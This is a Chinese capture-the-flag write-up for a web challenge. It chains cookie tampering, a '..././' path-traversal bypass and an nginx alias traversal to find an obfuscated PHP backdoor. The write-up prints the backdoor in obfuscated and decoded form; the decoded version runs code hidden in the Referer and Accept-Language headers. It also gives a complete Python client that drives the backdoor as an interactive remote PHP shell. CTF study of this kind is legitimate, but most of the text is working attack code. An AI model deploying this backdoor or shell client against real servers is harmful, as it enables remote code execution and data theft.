Web_php_wrong_nginx_config writeup
Web_php_wrong_nginx_config
writeup
Zhu013
未经允许请勿转载
1.进入页面发现需要登陆
2.robots.txt 发现hint.php Hack.php
hint.php提示
配置文件也许有问题呀：/etc/nginx/sites-enabled/site.conf
访问Hack.php提示请登录
3.抓包访问Hack.php文件发现cookie参数 isLogin为0,改为再次进入一个页面
4.尝试各种点了一下,发现点击管理中心 url变为http://111.198.29.45:58762/admin/admin.php?file=index&ext=php
怀疑是文件包含,但是../被过滤无法读取到提示的conf文件,经过搜索和百度杯的一道题很像
于是尝试 ?file=in../dex&ext=php 返回正常()页面顶部会显示内容"please continue" 被过滤
?file=in./dex&ext=php 返回错误,不会显示"please continue"
所以用
http://111.198.29.45:58762/admin/admin.php?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=
读取到提示的conf文件内容
5.内容如下:
server {
listen 8080
; ## listen for ipv4
; this line is default and implied listen [::]:8080
; ## listen for ipv6 root /var/www/html
; index index.php index.html index.htm
; port_in_redirect off
; server_name _
; # Make site accessible from http://localhost/ #server_name localhost
; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1
; set $month $2; set $day $3
; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off
; set $http_x_forwarded_for_filt $http_x_forwarded_for
; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???
; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log
; error_log /var/log/nginx/error.log info
; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args
; server_tokens off
; } #error_page 404 /404.html
; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html
; location = /50x.html { root /usr/share/nginx/html
; } location ~ \.php$ { try_files $uri $uri/ /index.php?q=$uri&$args
; fastcgi_split_path_info ^(.+\.php)(/.+)$
; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock
; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name
; fastcgi_param SCRIPT_NAME $fastcgi_script_name
; fastcgi_index index.php
; include fastcgi_params
; fastcgi_param REMOTE_ADDR $http_x_forwarded_for
; } location ~ /\. { log_not_found off
; deny all
; } location /web-img { alias /images/; autoindex on
; } location ~* \.(ini|docx|pcapng|doc)$ { deny all
; } include /var/www/nginx[.]conf
; } 重点倒数第三行 /web-img进行文件遍历
访问http://111.198.29.45:58762/web-img/ 正常
访问http://111.198.29.45:58762/web-img../ 对根目录进行读取
6.访问http://111.198.29.45:58762/web-img../var/www/
发现hack.php.bak
(提示是真的坑...后来做出来发现网址根目录下面也有hack.php.bak..跟着提示走完全没去扫目录.....)
下载下来内容如下
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>还原内容为
<?php
$kh="42f4";
$kf="e9ac";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)
$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}对正则内容进行搜索 preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
发现是一个后门,并且分析有利用脚本，参考修改脚本的config内容。
分析连接:https://www.cnblogs.com/go2bed/p/5920811.html
利用脚本如下运行
phpshell > system("ls");
admin
fllla4aggg.php
hack.php
hack.php.bak
hint.php
images
index.php
login.php
robots.txt
phpshell > readfile("var/www/html/fllla4aggg.php");
拿到flag.
修改后利用脚本内容如下:
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.198.29.45:58762/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')